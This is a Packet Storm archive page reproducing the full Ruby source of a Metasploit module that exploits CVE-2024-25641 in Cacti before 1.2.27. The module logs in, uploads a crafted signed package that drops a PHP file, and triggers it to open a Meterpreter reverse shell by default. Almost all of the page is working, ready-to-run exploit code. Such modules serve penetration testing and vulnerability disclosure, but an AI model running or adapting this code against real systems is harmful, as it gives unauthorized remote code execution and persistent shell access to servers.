what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Cacti Import Packages Remote Code Execution

Cacti Import Packages Remote Code Execution
Posted Jun 13, 2024
Authored by EgiX, Christophe de la Fuente | Site metasploit.com

This exploit module leverages an arbitrary file write vulnerability in Cacti versions prior to 1.2.27 to achieve remote code execution. It abuses the Import Packages feature to upload a specially crafted package that embeds a PHP file. Cacti will extract this file to an accessible location. The module finally triggers the payload to execute arbitrary PHP code in the context of the user running the web server. Authentication is needed and the account must have access to the Import Packages feature. This is granted by setting the Import Templates permission in the Template Editor section.

tags | exploit, remote, web, arbitrary, php, code execution
advisories | CVE-2024-25641
SHA-256 | f1f588ee0ed499b26894cbffe269abc74a129bb2bc296920c54da9fcdb577639

Cacti Import Packages Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Cacti
include Msf::Payload::Php
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Cacti Import Packages RCE',
'Description' => %q{
This exploit module leverages an arbitrary file write vulnerability
(CVE-2024-25641) in Cacti versions prior to 1.2.27 to achieve RCE. It
abuses the `Import Packages` feature to upload a specially crafted
package that embeds a PHP file. Cacti will extract this file to an
accessible location. The module finally triggers the payload to execute
arbitrary PHP code in the context of the user running the web server.

Authentication is needed and the account must have access to the
`Import Packages` feature. This is granted by setting the `Import
Templates` permission in the `Template Editor` section.
},
'License' => MSF_LICENSE,
'Author' => [
'Egidio Romano', # Initial research and discovery
'Christophe De La Fuente' # Metasploit module
],
'References' => [
[ 'URL', 'https://karmainsecurity.com/KIS-2024-04'],
[ 'URL', 'https://github.com/Cacti/cacti/security/advisories/GHSA-7cmj-g5qc-pj88'],
[ 'CVE', '2024-25641']
],
'Platform' => ['unix linux win'],
'Privileged' => false,
'Arch' => [ARCH_PHP, ARCH_CMD],
'Targets' => [
[
'PHP',
{
'Arch' => ARCH_PHP,
'Platform' => 'php',
'Type' => :php,
'DefaultOptions' => {
# Payload is not set automatically when selecting this target.
# Select Meterpreter by default
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
}
}
],
[
'Linux Command',
{
'Arch' => ARCH_CMD,
'Platform' => [ 'unix', 'linux' ],
'DefaultOptions' => {
# Payload is not set automatically when selecting this target.
# Select a x64 fetch payload by default.
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp'
}
}
],
[
'Windows Command',
{
'Arch' => ARCH_CMD,
'Platform' => 'win',
'DefaultOptions' => {
# Payload is not set automatically when selecting this target.
# Select a x64 fetch payload by default.
'PAYLOAD' => 'cmd/windows/http/x64/meterpreter_reverse_tcp'
}
}
]
],
'DisclosureDate' => '2024-05-12',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)

register_options(
[
OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
OptString.new('PASSWORD', [ true, 'Password to login with', 'admin']),
OptString.new('TARGETURI', [ true, 'The base URI of Cacti', '/cacti'])
]
)
end

def check
# Step 1 - Check if the target is Cacti and get the version
print_status('Checking Cacti version')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'GET',
'keep_cookies' => true
)
return CheckCode::Unknown('Could not connect to the web server - no response') if res.nil?

html = res.get_html_document
begin
cacti_version = parse_version(html)
version_msg = "The web server is running Cacti version #{cacti_version}"
rescue Msf::Exploit::Cacti::CactiNotFoundError => e
return CheckCode::Safe(e.message)
rescue Msf::Exploit::Cacti::CactiVersionNotFoundError => e
return CheckCode::Unknown(e.message)
end

if Rex::Version.new(cacti_version) < Rex::Version.new('1.2.27')
print_good(version_msg)
else
return CheckCode::Safe(version_msg)
end

# Step 2 - Login
@csrf_token = parse_csrf_token(html)
return CheckCode::Unknown('Could not get the CSRF token from `index.php`') if @csrf_token.empty?

begin
do_login(datastore['USERNAME'], datastore['PASSWORD'], csrf_token: @csrf_token)
rescue Msf::Exploit::Cacti::CactiError => e
return CheckCode::Unknown("Login failed: #{e}")
end

@logged_in = true

# Step 3 - Check if the user has enough permissions to reach `package_import.php`
print_status('Checking permissions to access `package_import.php`')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'package_import.php'),
'method' => 'GET',
'keep_cookies' => true
)
return CheckCode::Unknown('Could not access `package_import.php` - no response') if res.nil?
return CheckCode::Unknown("Could not access `package_import.php` - unexpected HTTP response code: #{res.code}") unless res.code == 200
# The form with the CSRF token input field is not present when access is denied
if parse_csrf_token(res.get_html_document).empty?
return CheckCode::Safe('Could not access `package_import.php` - insufficient permissions')
end

CheckCode::Appears
end

# Taken from modules/payloads/singles/php/exec.rb
def php_exec(cmd)
dis = '$' + rand_text_alpha(4..7)
shell = <<-END_OF_PHP_CODE
#{php_preamble(disabled_varname: dis)}
$c = base64_decode("#{Rex::Text.encode_base64(cmd)}");
#{php_system_block(cmd_varname: '$c', disabled_varname: dis)}
END_OF_PHP_CODE

Rex::Text.compress(shell)
end

def generate_package
@payload_path = "resource/#{rand_text_alphanumeric(5..10)}.php"

php_payload = target['Type'] == :php ? payload.encoded : php_exec(payload.encoded)

digest = OpenSSL::Digest.new('SHA256')
pkey = OpenSSL::PKey::RSA.new(2048)
file_signature = pkey.sign(digest, php_payload)

xml_data = <<~XML
<xml>
<files>
<file>
<name>#{@payload_path}</name>
<data>#{Rex::Text.encode_base64(php_payload)}</data>
<filesignature>#{Rex::Text.encode_base64(file_signature)}</filesignature>
</file>
</files>
<publickey>#{Rex::Text.encode_base64(pkey.public_key.to_pem)}</publickey>
<signature></signature>
</xml>
XML

signature = pkey.sign(digest, xml_data)
xml_data.sub!('<signature></signature>', "<signature>#{Rex::Text.encode_base64(signature)}</signature>")

Rex::Text.gzip(xml_data)
end

def upload_package
print_status('Uploading the package')
# Default parameters sent when importing packages from the web UI
# Randomizing these values might be suspicious
vars_form = {
'__csrf_magic' => @csrf_token,
'trust_signer' => 'on',
'data_source_profile' => '1',
'remove_orphans' => 'on',
'replace_svalues' => 'on',
'image_format' => '3',
'graph_height' => '200',
'graph_width' => '700',
'save_component_import' => '1',
'preview_only' => 'on',
'action' => 'save'
}

vars_form_data = []
vars_form.each do |name, data|
vars_form_data << { 'name' => name, 'data' => data }
end

vars_form_data << {
'name' => 'import_file',
'filename' => "#{rand_text_alphanumeric(5..10)}.xml.gz",
'content_type' => 'application/x-gzip',
'encoding' => 'binary',
'data' => generate_package
}

res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'package_import.php'),
'method' => 'POST',
'keep_cookies' => true,
'vars_form_data' => vars_form_data
)
fail_with(Failure::Unreachable, 'Could not connect to the web server - no response when sending the preview import request') if res.nil?
fail_with(Failure::UnexpectedReply, "Unexpected response code (#{res.code}) when sending the preview import request") unless res.code == 200

html = res.get_html_document
local_path = html.xpath('//input[starts-with(@id, "chk_file")]/@title').text
fail_with(Failure::Unknown, 'Unable to import the package') if local_path.empty?

vars_form['preview_only'] = ''
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'package_import.php'),
'method' => 'POST',
'keep_cookies' => true,
'vars_post' => vars_form
)
fail_with(Failure::Unreachable, 'Could not connect to the web server - no response when importing the package') if res.nil?
fail_with(Failure::UnexpectedReply, "Unexpected response code when importing the package (#{res.code})") unless res.code == 302

local_path
end

def trigger_payload
# Expecting no response
print_status('Triggering the payload')
send_request_cgi({
'uri' => normalize_uri(target_uri.path, @payload_path),
'method' => 'GET'
}, 1)
end

def exploit
# Setting the `FETCH_DELETE` option seems to break the payload execution.
# `Msf::Exploit::FileDropper` will be used later to cleanup. Note that it
# is not possible to opt-out anymore.
fail_with(Failure::BadConfig, 'FETCH_DELETE must be set to false') if datastore['FETCH_DELETE']

unless @csrf_token
begin
@csrf_token = get_csrf_token
rescue CactiError => e
fail_with(Failure::NotFound, "Unable to get the CSRF token: #{e.class} - #{e}")
end
end

unless @logged_in
begin
do_login(datastore['USERNAME'], datastore['PASSWORD'], csrf_token: @csrf_token)
rescue CactiError => e
fail_with(Failure::NoAccess, "Login failure: #{e.class} - #{e}")
end
end

package_path = upload_package

register_file_for_cleanup(package_path)

# For fetch payloads, setting the `FETCH_DELETE` option seems to break the
# payload execution. Using `#register_file_for_cleanup` instead, since we
# know the local path.
if target['Type'] != :php && payload_instance.is_a?(Msf::Payload::Adapter::Fetch)
if File.absolute_path?(datastore['FETCH_FILENAME'])
register_file_for_cleanup(datastore['FETCH_FILENAME'])
else
register_file_for_cleanup(File.join(File.dirname(package_path), datastore['FETCH_FILENAME']))
end
end

trigger_payload
end

end
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close